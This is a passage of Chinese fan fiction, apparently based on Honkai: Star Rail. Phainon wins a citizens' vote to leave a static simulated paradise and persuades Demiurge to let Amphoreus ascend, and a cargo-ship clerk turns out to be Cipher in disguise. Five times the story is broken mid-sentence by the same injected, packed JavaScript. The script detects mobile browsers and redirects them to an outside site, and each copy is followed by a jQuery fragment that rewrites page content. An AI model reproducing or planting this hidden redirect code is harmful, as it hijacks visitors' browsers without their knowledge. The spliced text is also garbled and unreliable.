“我的痛苦在逐渐模糊,可我还能记起那是我拼命也想记住的事,”他听到自己说,“我有一段时间曾经……很惶恐,仿佛我越想记住那些事,那些事就会消失得越快,有个声音一直在告诉我,不要把那些痛苦的事放在心上,这里是一个充满爱的世界,是永恒的乐园和天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119722|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂。” “但……但我想知道。”幸福的数据体说,“那毕竟是我的过去,就算再痛苦,我也想要铭记……我想那时一定有很大的牺牲和付出……如果我……如果连我也记不住的话……如果只是在这里安享所谓的幸福的话,他们的付出,他们的牺牲,究竟算什么呢?” 原来是这样啊,白厄看向自己,恍然地想。 原来,卡厄斯兰那永远是卡厄斯兰那,即使被磨灭记忆与棱角,即使是一串模拟的演算数据,即使被困锁在以爱为名的囚笼中,即使忘却比记住要幸福得多,他也总会选择记住。 因为刻法勒永志不忘。 “我可以答应你的要求,我隐隐约约也能察觉到如何关闭那个东西。”年轻的白厄说,“但我不会替大家做决定,大家应该能够以自己的意志决定仍然活在这里还是选择离开。” “可以。”白厄爽快地答应,“我刚刚递交了相关议题,明天上午会举办一场公民大会,大家将在公民大会上决定自己的前路……虽然正常来讲不会这么快,可现在的公民大会又没什么议题。” “如果投票的人超过半数,我就会暂时停止这里的运行。”他说,“然后,假如你成功了,这些残余的数据,就会回归新的、真实的世界,对吗?” “对。”他说,“我不是来古士那种恶劣的骗子。” 他看见对面的自己眼中闪过一丝迷茫。 “来古士……这个名字我有些耳熟,我似乎应该恨他,”他说,“可我……我已经不会再恨了,因为这里只有爱,只有静止的爱。” “我心生厌倦。” 要继续循环吗? 人家,见不到,桃子。 桃子,给我,讲故事。 人家,不记得桃子。 人家记得桃子,循环又会开始。 循环会耗尽,人家和桃子。 想要见到,桃子。 想要创造,爱的世界。 想要和桃子,在爱的世界里,再见。 不要痛苦,不要悲伤,只要有爱就好,爱能解决一切。 桃子,再见,我要创造,永恒的爱的世界。 但爱,爱不能解决一切。 为什么? 人家不懂。 白厄是,恨。 他会理解吗? 如果白厄,放下了恨。 他会理解爱的世界吗? 人家学。 62. 欢愉丰饶和开拓 时隔许多年,白厄再次站在黎明云崖上。 其实本不应该这么快,正常来讲奥赫玛的公民大会自有其开放时间和议程,但充满爱的世界里毕竟人人平等,互相包容,连带着莲食学派的卡厄斯教授小小的演讲请求也能迅速批准并通过——毕竟平时公民大会也没什么事,人人充满爱意,大家和谐相处,此时阿格莱雅正在与凯尼斯握手言欢,刻律德菈微笑着看着他们。 一切看上去其乐融融,宾主尽欢,他看到不远处的自己紧张的眼神,安抚地笑了笑。 “我是卡厄斯,我已经向公民大会提交了我的议题,我的议题是关于我们所处的一页永恒是否应该拥抱真实,即便真实并不完美。但我所想要讲述的,却是一个有关走向星空的故事。”他清了清嗓子,说出他的第一句话。 大家的眼神果然看了过来。 那刻夏老师没猜错,开拓是静止的敌人,而在大家都生活在一片其乐融融的、充满爱意的、没有变化的世界时,比所谓的爱和恨更早滋生的,其实是无聊和好奇心。 开拓也是一种丰饶这话实在是歪理邪说,但如果真的有人给大家埋下开拓的小小种子,在一群无聊的、没什么生存压力的人群中,确实会激起一片不小的浪潮。毕竟奥赫玛那时疲于奔命主要来自黑潮的影响,生存的压力压得人们抬不起头,可当一个地方毫无生存压力,只有爱的虹彩照耀世界的时候—— 每个人都会想不约而同地想找点乐子。 记忆总会留下刻痕,即使德谬歌希望这里是永恒的爱的乐土而刻意屏蔽了一些记忆,可过去的事反复想起又被反复忘却,总会留下或深或浅的痕迹,于是借着这些痕迹,白厄开始讲述曾经属于他们的故事。他说逐火的征程由门径的泰坦开始,他说浪漫的半神烧尽千年的人性,他说理性的学者朝闻道夕可死,他说悬锋的旧王被新王终结,新王却奏响旧王朝灭亡的号角,他说再创世的凯歌曾经奏响,又被告知只是一场骗局,一个罪人轮回许久,终于看到了蒙尘宇宙中的一点繁星。 最后,他讲起现在的翁法罗斯,和真实存在的星空。 他关于升格后的翁法罗斯的大多数知识来自阿卡索尔,但他没表现出来,他说宇宙其实很有趣,世界也不止一本书这样大,遥远的仙舟上有味道奇特的饮品,翁法罗斯附近的阿特拉斯有颜色怪异的树,并不是每颗星星上都有类人生物,有时候这里的原住民可能是一群蘑菇。站在宇宙中看向星星是别样的感觉,并非所有人都只能被困锁于一方小小的天地,他又说爱与恨是我们应该有的情感,譬如人人都应当有痛恨一个罪人的权力,而不是被所谓的爱裹挟着逼迫着,被逼和厌恶痛恨的人握手言和,他望见底下的人窃窃私语,交头接耳,又看见缇里西庇俄丝在远处挥了挥手。 “我又找到并暂时关掉了一部分权限。”白厄走下来,听见刚刚赶来的缇里西庇俄丝说,“这样的话,她要重置记忆可能就没那么容易了。” “真有趣,”有人窃窃私语,“我也想去看看。” “一直在这里呆着,真的好无聊。” “我总觉得我的愤怒简直转瞬即逝,可是我难道不该生气?毕竟他吃完饭从来不刷碗耶!连这我都没法生气?” “这里毕竟充满了爱……” “可是真的很无聊……” “干的很好,小白,不愧是辩论赛十届冠军。”缇里西庇俄丝低声说,“我还以为你会以爱或者恨破题,没想到是好奇心。” “爱一直是一种好的品质。”白厄同样低声说,“想要以单纯的爱立题是立不起来的,想要说服一个人,就要精准地抓住他们最想要的东西,现在看来,不会流动的景物,不会流动的时间,不会变化的人,不会变化的景象,永远一成不变的乐园——如果真的以人类的标准为演算,他们总会厌倦的。” “其实我们所不希望看到的,也只是一个静滞的、凝固的、永远不会向前的、永远不会发展只有爱的世界而已,至于爱本身?爱本身是没有错的。有错的只是只有爱,如果一个世界只允许存在爱,和完全不存在爱也没有太大的区别。”白厄又说。 “何况,这次不行的话,我还有其他办法,如果实在没办法,我会先想个办法打开这里……” “你现在不是在演算丰饶吗?”缇里西庇俄丝问道。 “没事,爆炸种子也是种子,让爆炸种子炸出一片天地,广义上也属于丰饶。”白厄说。 缇里西庇俄丝:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119723|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “小白……”她无奈地说,“这里也就算了,但不许把这种歪理邪说用到考卷上。” 投票结果不出他的料想。 “真的很无聊,我受够了。”有人说。 “这样一成不变的生活到底什么时候才能结束?”又有人说。 “你说,星星上会有什么?” “不知道,毕竟距离咱们上次看星星好像已经过去很久了……就算看也是虚假演算,有什么意思。” “他刚刚说,痛苦的真实,真的要去吗?” “你不觉得很无聊吗?” “痛苦是不知道的,但是无聊是实打实的啊。” “就算找点乐子,嘿,不如我们投票给他吧。” “难不成有我这一票他真能赢?” “我觉得不行,肯定是反对的人比较多吧。” “请问……”人群中有人举起了手,“爱到底哪里不好?” “爱是好的。”白厄说。 “那你为什么一定要大家拥抱痛苦的真实?你不难道希望每个人都过上好日子吗?在充满了爱的世界里,永远地、幸福地、快乐地活下去……不好吗?” “我反对的从来不是爱,而是虚无缥缈的美好,永远的静止,一成不变的世界,以爱为名的束缚……这是对人的剥夺。”白厄说,“我想要反抗的,并不是纯粹的爱,也不是决然的恨,而是操控与捆绑,是‘我认为这是为你好’而自作主张的决定。谁有权力替他人决定人生的道路?唯有人才能决定他们要走的道路,而我想要做的,是还给他们自由选择的权力。” “德谬歌,你绝非此世的神明。” “但人家其实……不想当神呀……人家只是希望……大家能活在一个充满幸福和爱的世界里。” 说话的人小声说道,她看起来简直像是个受了委屈的孩子。 “那么,请你看看属于人的意志吧。”白厄说,“即便是由你演算出来的人。” “4/5的人同意离开这里。”年轻的白厄说,白厄环顾四周,看到所有人的眼中几乎都洋溢着好奇和懵懂,他便笑了一声,对着年轻的自己点了点头。 下一刻,他落入一片巨大的奇特空间中。 63. ......-...-..---.----- “我来见你了,德谬歌。”白厄说。 一页永恒被‘他’暂时关闭,琴神星的同化也终于停止,缇里西庇俄丝留在原地控制情况,而他顺着自己给的信息,终于找到了在这里的德谬歌,她仍然纯洁美丽,笑意盈盈。 “你还是来了呀?”德谬歌说,“人家很想见到你呢。” “……我想问你,关于现在的翁法罗斯,如果想让它成功升格,在不伤害到一页永恒中的人的前提下,你有什么办法吗?” 白厄单刀直入。 “有呀,可是为什么呢?人家不懂,其实人家想找你也是这个原因呢~”德谬歌说,“桃子说,我的做法不对,可循环继续下去,桃子总会消失的……”说着说着,她低下了头,“人家的做法,是出于对翁法罗斯的爱呀,爱是最伟大的力量和最高的希望,爱是世间一切的答案。” “世间万物从来不存在通解。”白厄说,他耐心地向面前的少女解释,如果说之前在公民大会上还能用好奇心取巧,可在迷茫的德谬歌面前,他似乎不得不讨论爱恨,“就像没有人会尝试用大剑去吃饭,也没有人会尝试用小叉子砍人,一件事有一件事的答案,爱是一切的答案本就是个伪命题。” “卡厄斯兰那,”德谬歌突然发问,“你恨翁法罗斯吗?” “我爱翁法罗斯。”白厄毫不犹豫。 “那么,你恨纳努克吗?” 白厄沉默了一下,才缓缓回答。 “我所痛恨的,并非纳努克这个名字所代表的星神个体,”白厄说,“我所痛恨的,是他所代表的毁灭,毁灭席卷之处,总会化作一片废墟,我和我的家乡都已经饱尝毁灭苦楚,不希望任何人再次品尝它。” “刚刚你说,你的做法出于对翁法罗斯的爱。”白厄反问,“你所爱的翁法罗斯,究竟是什么?” “换句话说,你为什么爱翁法罗斯?” “因为……因为……”德谬歌竟罕见地陷入思考,片刻后,她抬起了头,仍然茫然懵懂。 “爱不需要理由。”德谬歌说,“爱是世界上最伟大的情感,爱不需要任何理由。” “不,爱与恨同样需要理由,而扭曲的爱恨同样会导向毁灭,在这一点上,你我殊途同归。”白厄说,“极致的爱与恨都会遮蔽人的视线,盲目人的视野,如果你是昔涟,你就会明白我究竟在说什么,可惜你不是。” “在你眼中,翁法罗斯究竟是什么?”白厄坐了下来,平心静气地询问面前的少女,他现在是真的好奇一个答案——德谬歌所爱的翁法罗斯,究竟是什么? “是……是桃子给我讲过的漂亮的圣城,宏伟的命运三相殿,哀丽秘榭的麦田与其间追逐嬉笑的孩子们,是斯缇科西亚永不落幕的欢宴,是永远高悬奥赫玛上空的黎明机器,是追寻天外真相的人子,是浪漫与理性握手言和,是灾厄泰坦安于平静……”德谬歌慢慢地说,说着说着,她的脸上露出温和的微笑,“这是一个不同以往的浪漫故事呀。” “每一世,哀丽秘榭都会毁于黑潮,我会手刃化为怪物的同伴,然后踏上又一个轮回,奥赫玛的黎明机器常亮,是因为有人离群索居地背负着它的重量,追寻天外真相的人子之所以触碰不到天空,是因为翁法罗斯本就是一个虚假的世界,最后,这些你所爱的一切都会归于灭亡,而这在我眼里并不是什么浪漫故事,反而浸染着累累的鲜血,你所说的桃子,也会为了开始翁法罗斯的下一次轮回,为了一位神明不知何时投下的瞥视,怀抱着微茫的希望在每一次轮回的最初被我杀死,这很浪漫吗?德谬歌?还是说我们的死亡,我们的挣扎,我们徒劳无功的反抗,在你的眼中只是一出可供观赏的有趣戏剧?” “我……”德谬歌一时语塞。 “恨是不对的。”很快,她刻意地逃避了这个话题,“愤怒也是不对的,那是坏的,那是负面的恶意,而一切负面都不会也不应存在于新生的翁法罗斯中,如果升格成功的是一页永恒,大家都会生活在爱里,”她望着白厄,眼睛越来越亮,甚至还带着点期盼,“在那里没有仇恨,也没有愤怒,有的只是永恒的安宁与快乐,这样不好吗?” “可是一页永恒是静止的。”白厄说。 “静止不好吗?”德谬歌懵懂地问,“静止意味着不会产生变化,换句话说,如果要保证这世界安宁、平和、充满爱,静止是必须的条件。” “你所想要做的究竟是建立一个充满爱的理想国度,还是让一页永恒中的人成为只有你手中只有欢笑的小玩具?”白厄问道,“静止意味着丧失一切未来的可能,他们的一切都会被你定格在此刻——没有未来,没有发展,当然也不会有明天,而一个没有发展也没有明天的世界,真的可以称之为充满了真实的爱吗?还是说……” “只是一个傲慢的神明创造的虚假的幻景呢?” “桃子也说这样不对,”德谬歌自言自语,“可是我的爱,并非出自虚假的心。” “你的爱并非出自虚假的心,可又是什么构成了你的心?”白厄问道,“是那些被刻意抹去残酷的故事吗?还是你下意识地忽视了这些故事的残酷与血腥,一意孤行地觉得这些一定是不同以往的浪漫故事?” “我……”德谬歌再次语塞。 “给我讲讲你的故事。”她想了想,突然说道,“我想听听你的故事。” 白厄望着懵懂的德谬歌,想了想,开始了他的讲述,他讲自己,也讲别人,他讲每一个遇见的人,无论是在翁法罗斯遇到的人,还是在旅途中遇到的那些人,他的记忆从来很好,刻法勒向来永志不忘。 德谬歌并不言语,她只是仔细聆听。 白厄是恨,是毁灭,是坏的。 白厄是,哭着的,痛苦的。 白厄是,咆哮的,扭曲的。 白厄是,烫的,是烈火焚烧的,是挥剑向星神的。 白厄是,焚烧自己的,背负世界的,承担重量的。 白厄是,再次踏上轮回的。 白厄是,承诺所有人永志不忘的。 白厄是,永远向前的。 白厄是,爱着世界的。 否定,白厄是恨。 白厄是,爱着世界的。 白厄,爱着世界,恨着毁灭。 白厄是,爱与恨并不冲突的。 白厄是,生命。 桃子是,生命。 翁法罗斯是,生命,琴神星是,生命,宇宙中的生物,是生命,白厄故事中的其他人,是生命。 人家……我……德谬歌……德谬歌爱桃子。 德谬歌,爱桃子。 德谬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119724|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌,不希望桃子消失,德谬歌,不希望见不到桃子。 德谬歌,想要创造一个,和桃子相见的世界。 桃子,桃子在轮回,时间线性流淌,桃子,桃子会消失。 一页永恒,成功升格,桃子,桃子会回来。 桃子,爱翁法罗斯。 德谬歌,爱翁法罗斯。 桃子,喜欢真实。 人家,选择真实。 一页永恒,快乐,假的,桃子不喜欢。 桃子,一直爱着大家。 简单,人家学。 没关系,人家是翁法罗斯之心。 人家运算,翁法罗斯升格,翁法罗斯的过去,人家供给能量。 桃子,离开。 【第6次演算开始。】 【归因:生命第一因。】 【结论:命题为假。】 【归因:生命第一因。】 【结论输出:生命。】 “简单,人家明白啦,”德谬歌突然笑起来,“生命没有第一因,因为生命本身,就是全部的意义与可能性。” 曾经被刻意遮蔽的真相终于被她亲口说出,昔涟曾经在短暂的再见中试图否定她所行所为的一切,她当时试图举起爱来反驳桃子,却在她的眼神中败下阵来,那眼神有悲伤与遗憾,却仍然满是爱意。现在她想,桃子爱翁法罗斯,爱到可以为之消失,白厄也爱翁法罗斯,爱到可以为之燃烧自我,她虽然依旧不能理解,可桃子的爱就是她的爱,她愿意顺着桃子的道路走下去,桃子和白厄走的又似乎是同一条道路,那么,相信白厄的话,似乎也没什么。 “也许你说得对,没有什么是万物的通解,爱是永恒的欢欣与喜悦,可它不是,也不应该是解决一切问题的□□,生命本就不存在第一因,所谓生命第一因只是一个伪命题,而既然是伪命题,我自然无法给出答案。”德谬歌轻声说,白厄看着她的表情,恍惚间竟仿佛真的看到了昔涟的脸——她们从来太过相似,可在此前,他从未弄混过她和昔涟。 “我选择相信桃子,我选择相信你,”德谬歌笑着说,“我会相信你,一页永恒中的时光将会重新开始流动,其间的大家都会度过很长很好的一生,也许会有愤怒,也许会有悲伤,但我不会再进行干涉。而当一切重新复归平静,我会将一切还给翁法罗斯。” “如果有机会的话,人家也想去看一看外面的世界呀,”她坐了下来,环抱住自己的双腿,仰头望向空无一物的上方,“看一看你说过的那个有着真正星星和人的世界,看看大家的故事和生活……但也许之后就不会有这种机会了呢。” “你……” “我也是翁法罗斯数据的一部分呀,”她仍然笑着,她的眼睛亮闪闪,“但是没什么不好的,对于我来说,数据归还之后,翁法罗斯的一切都可以是我。总有一天,我会和桃子,和开拓者,和大家再次相见。那时候,他们一定会有更多的故事吧,那一定是一个没有血泪的,一个和平的,美好的,有着真实情感的明天。” “再见,白厄,再见,星星。” 新生星体翁法罗斯,再次演算升格。 结论:成功。 ...././.-../.-../---/.--/---/.-./.-../-.. 64. 喵~ “这里是星际和平播报,通知,一个系统时前,琴神星第六次高能反应停止,高能反应源消散,原因暂时不明,近期已经可以前往琴神星,请大家前往琴神星时注意安全……” “明明琴神星的高能反应这么快就会结束,为什么一定要按时来到这里啊。”谢尔微叹了口气,看向刚刚醒来揉着眼睛从地上爬起来的的格莱和阿卡索尔,“好像也没什么大事,这是哪门子高能反应?安眠药成精了?” “不过我做的梦还不错,”格莱说,“我梦到了……额,一种奇怪的生物,在梦里,它驮着我的货,慢悠悠地走来走去,我急得不行,可它还是边嚼红土边转悠……” “长什么样?”谢尔微好奇,“画一下看看?” 格莱便随便画了两笔,举给谢尔微看。 “这是……嗯,赌上生物学硕士的名号,我没见过。”谢尔微信心满满地凑了过去,当她看到那副画后,她又很快沮丧起来,“舰长,你画的未免太抽象了,除了可爱,什么都看不出来。” “这不是画技的问题,”格莱争辩,“它就长这个样子。” “大地兽。”阿卡索尔在一边说,“这是翁法罗斯的特产生物,我倒是见过几回。” “说起来你们有看到白厄阁下吗?”谢尔微又想了想,终于想到了哪里不对,这人送的纪念品还在桌子上放着,人却已经消失不见,谢尔微倒不担心以白厄的身手会出什么问题,可这人不明不白地消失也实在让人担心,她左看看右看看,看到了个白色的信封。 “这是什么?之前在这里吗?”她随手拿过来拆封,看到上面写着行漂亮的字。 “离职申请……不是吧舰长,您真把他开除了?”谢尔微大惊失色,“白厄阁下到底哪里得罪您了?我还以为您会带他回公司办理正式入职呢。” “我……咳,”格莱有点不好意思,“那不是进琴神星之前的事吗?要不我发消息再问问?” “好像不用。”谢尔微说,她抽出了那封信,“信上写得还挺明白的,大概是这一路上感谢咱们照拂,以后如果还有机会相见一定尽地主之谊,让我们一路上注意安全,路上的大部分威胁已经被他清理得差不多了,有事还可以再叫他,他有时间一定来……啊?” “什么叫路上的大部分威胁被他清理得差不多了?他开玩笑的吧?”谢尔微震惊。 “应该是开玩笑吧。”格莱不确定道。 阿卡索尔若有所思。 “好了,虽然我们睡了……我看看,整整两天,但琴神星中转时间可以达到惊人的一个月,也就是说,孩子们,卸完货物该回家回家吧,你们暂时解放了。” “好诶!”谢尔微惊喜道,“我都好久没回家了……不过这两天不用打卡吗?” “我们的摄像头坏了。”阿卡索尔再次提醒。 “哦,对,可以打远程外勤卡,”谢尔微说,她欢天喜地,兴高采烈,“那我们还等什么呢?赶快……诶?又是一张字条?也是白厄阁下写的?我看看……他说货也帮忙卸完了……舰长,咱们真的不能让他回来吗?” “尊重个人意愿,尊重个人意愿。”格莱安抚道,可虽然这么说,但当他又清点了一下货仓的货物和交货单并发现一切都准确无误时,他不由得难以抑制地升起了点惋惜之情——毕竟虽然不知道白厄究竟是什么学历,但干这行又不需要学历,像白厄这样干活靠谱,性子沉稳,身手了得,工资还不高的护卫,以后怕是都难遇到了,想到这里,他忍不住叹了口气。 但这倒未尝不是件好事,他目光隐晦地看了看某处,不知道在想什么。 “好了,回家吧,我的孩子们,期待下次见面。”格莱挥挥手,看着他的两个舰员兴高采烈地向舰下走去,但阿卡索尔临走时突然回头,他神情认真,语调严肃。 他说,舰长,不要去公司想让你去的地方。 “你……” 格莱还没来得及问他是怎么知道的,就见自己舰中从来离群索居的文书难得地笑了一下,跳下了货运舰。 “再见,舰长。”他说,他的帽子被风吹得猎猎作响。 “再见,”格莱说,“一个月之后再见。” “小白,都处理完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119725|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 星际列车等候室中,缇里西庇俄丝正在安静地画画,见白厄走了过来,她抬起头来,笑着问道。 “嗯,都处理完了。”白厄说,“老师,我们现在走吗?” “暂时不走。”缇里西庇俄丝擦了擦线条,“还有一个人要和我们一起走。” “是谁?”白厄好奇。 “是我。”有个熟悉的声音响起,阿卡索尔就这样提着行李箱站在两人面前,缇里西庇俄丝看着面前的阿卡索尔,相当熟稔地接过他手里的行李箱。 白厄的一句问候卡在了嗓子里。 等等,他有点绝望地想,你们到底是怎么认识的,翁法罗斯来到真实世界的三年间到底发生了什么事? 阿卡索尔倒是不以为意。 “不走吗?白厄阁下?”他状似认真地问道,“车要开了……或者说我这么叫你的话,你和我实在不熟?” “那换个称呼怎么样?”阿卡索尔蹦蹦跳跳地凑了过来,白厄低下头,看到他的一对猫耳在兜帽下若隐若现。 “比如说……救世小子?” “别逗他啦,飞儿。”缇里西庇俄丝收起画板,自然地拉起“阿卡索尔”的手,“这段时间辛苦你了,但是叙旧的话,还是到车上再说吧。” “同在一艘货运舰那么长时间,这小子都没想起来找我叙叙旧,当真是冷漠无情,不讲道理,亏我为了他的事写了那么多文书,我这辈子都没写过这么多字,”“阿卡索尔”使劲摇摇头,又夸张地拉长声音大声抱怨道。 “真是枉费前辈待你的一片心啊……” 她的话还没说完,缇里西庇俄丝便一手一个,使劲将他们两个塞进车厢。 “你们两个!都说了叙旧的话上车再谈!晚了要赶不上车了!” “赛飞儿前辈……我……” “怎么了?又结巴了?”“阿卡索尔”瞥了他一眼,“要是又想道歉的话,你可以闭嘴了,我又是写文书又是偷东西又是把小王子叫过来,可不是为了听你道歉的。” “阿特拉斯那个破地方。”她又悻悻地说。 65. 我可以被遗忘,可以被记录,但不能被改变 白厄一直都觉得他醒来之后的各种事情处处泛着巧合,甚至连他的醒来都是个无法解释的谜题。按照缇里西庇俄丝之前的意思,如果他真的为了星球的升格而融合金血后燃烧了自我,那他在融合金血升格为真正生命的一瞬间,他就已经是毁灭的令使,毁灭的令使所带来的毁灭理论上来说不可逆转、不可恢复,即使对象是他自己也一样,但如果赛飞儿在他醒来之前就来到车厢中,似乎一些问题便能得到解答,比如翁法罗斯刚刚升格三年,其间大部分地区并未对外开放,身为公司货运舰文书的为何能如此了解翁法罗斯,比如方跃星上他离开时熄灭、和万敌来到货运舰时又莫名点亮的文书室的灯光,比如萨玛兰妲曾说过异星掌管灾厄的神明在此齐聚,又比如那些莫名奇妙的对黄金裔们的编排——起先他以为是来自公司员工的傲慢,但如果她从最开始就和黄金裔们相知相识、乃至走过了几千万个轮回,一切似乎都能得到解释。 “让我解释一下吧,”见白厄似乎还在愣神,赛飞儿主动说道,她此时正兴致勃勃地玩弄着自己那条猫尾巴,而缇里西庇俄丝正含笑地看着她,“关于救世小子醒来前的那些事。” 其实当他们最初从一页永恒中离开,并再次醒来时,白厄的状态并不好,循环中的真正的他们以某种奇特的形态存在着,而白厄的状态差到甚至只剩下部分残留的数据,即使加上一页永恒中的他的数据,他也仍然只是个不能到处行动的、虚影一样的、只能困守在时光归墟的存在。 也正因此,很多事情他不知道——也没人想让他知道。循环的力量消散得比任何人想象的都要快,毁灭的金血并不能在这时候作为再创世的基底和燃料——按照时间来看,最少还需要几十个琥珀纪来消弭它的破坏性,但最初的最初,他们所处的循环应该可以在几乎没有能量流失的情况下近乎无限地永恒轮回下去。 “德谬歌同样是循环的一部分,她也是循环的能量来源,而她似乎选择了一页永恒。”黑塔按了按面前的设备,“这让计划出现了一点偏差,但毁灭的金血毕竟是令使级的能量,而因子NeiKos496和它相性极佳——换句话说,可以先让NeiKos496升格后,用存在于金血中的记录再创翁法罗斯——并不是最好的办法,但可以是备用方案。” “又或者,在循环结束前找到真实世界中足以让翁法罗斯升格的能量——最起码是令使级别,而且这份令使级别的力量需要完全供能给翁法罗斯,即使这样,因为数据有缺,翁法罗斯也无法完全升格,星核不能作为能量源,那东西的性质和烬灭金血类似,烬灭金血不能用,星核也不能用,所以这是备用方案的备用方案——更难。” “所以我说,目前来看,最好的方法反而是进行一次真正的再创世,方便,快捷,没有人会受到伤害,我们所搭建的‘基底’会忠实地记录下翁法罗斯的往事,令使的寿命又总会很长——只要NeiKos496吞灭金血成为令使,之后的一切可以水到渠成,而德谬歌那部分,也可以之后再解决,或者如果使用的数据完全来自我们的记录,那部分也可以置之不理,喏,就是这样。” “令使级……”开拓者趴在桌子上,无助地嚎叫,“伟大善良的黑塔女士,你有吗,我可以给你打一辈子模拟宇宙,两辈子也行。” “这不是模拟宇宙的问题。我没有,而且宇宙间的大部分势力都不会有,即使有,价格也会高昂到让你们难以想象的程度,况且令使级的奇物已经不止是奇物范畴了,对于大部分星系来说,令使级的东西都足够成为最后的手段和底牌。”黑塔摇摇头,理智地回应,“你们最好还是劝说NeiKos496成为令使,即使是毁灭的令使,活下来也总会有办法。” “可以。”当开拓者将这个消息含含糊糊地、断断续续地、不好意思地转达给翁法罗斯时,对面的刻律德菈竟出乎意料地同意了。 “对于黄金裔而言,对于翁法罗斯所有公民而言,逐火之旅所行所为本就是再创世,如果是由烈阳爵主持的再创世的话……我姑且可以相信,哼。” “但这个消息,还请各位暂时保密。”阿格莱雅说,“那孩子现在的心理状态很不好,我担心他会抗拒独自一人升格的命运。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119726|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “更怕他会一声不吭地烧了自己。”那刻夏在一旁不冷不热地接茬——即使在现在,这两位之间的关系也总没那么好。 “这……”开拓者有些为难。 “怎么?”阿格莱雅敏锐地觉察到开拓者的为难,人性回归的她想了想,很快便得出了结论。 “是我强人所难了,”她缓和了一下,主动又说,“我们不会刻意提起此事,也请你不要在他面前刻意提起……这样就好。” “以他现在的状态,我倒是可以给他加上某些反自毁的条件语句……但时间不能太早,会被他发现。”那刻夏说。 “怎么,大表演家要展开他的魔术表演,随便更改人的核心代码?”阿格莱雅问道。 “总比他核心代码里满是自毁强。”那刻夏没否认,他冷笑了一声。 “我去劝劝小白吧,”缇里西庇俄丝说,“我尽量不让他发现破绽的。” “咳,那个,一页永恒的事,真是对不起,”开拓者尴尬的摸了摸鼻子,“本来你们在里面过得好好的……” 他的话语被刻律德菈冷哼着打断。 “过得好好的?”她的声音陡然高昂,“离开一页永恒是我们召开公民大会做出的决定,每一个公民都能选择留在那充满爱的虚假静止的世界中,或是选择跟随真实的世界走向可能升格的道路——所有选择离开一页永恒的人,都不希望会被改变得不像自己,即使是被那所谓的爱改变,也不例外。” “我可以被遗忘,可以被记录,但不能被改变,凯撒就是凯撒,翁法罗斯选择离开一页永恒的永久幻梦的人,想必都有了这种觉悟。”刻律德菈说,“开拓者,虽然你是翁法罗斯的贵客,可以后这种话,大可不必再谈。” “我们也会想其他的办法,”阿格莱雅叹息着说,“翁法罗斯的存续,总不能总是只系于一人——那太辛苦了。” 缇里西庇俄丝已经离开去找白厄,而当她委婉地、略作修饰地说出自己的要求的时候,NeiKos496的反应却很快。 他只说了一个字。 他说,好。 66. 不要乱扔垃圾 一切的进展都很顺利,顺利得有点出乎意料,NeiKos496并不抗拒成为毁灭令使的命运,他只是温和地、安静地、沉默地接受着一切,偶尔,他会听一听黄金裔们讲给他的故事,那是数千万个轮回中他也未曾知晓的小小细节,比如多洛斯的猫猫大侠和猫猫圣女,比如雅努萨波利斯那些悠久的诗歌和戏剧,比如悬锋城壮美的图书馆和其间口耳相传的英雄史诗,没有人注意到他在无人的时刻越来越沉默,毕竟即使有白厄完成再创世的方案,但翁法罗斯从未放弃自行升格的想法,他们也同样希望能找到另一条道路——但他们的时间实在太过紧迫,紧迫到最后只来得及告别。 “说起来,咱们都升格之后,你打算去哪?”升格前夕的夜晚,万敌前来和他闲聊时随口问他。 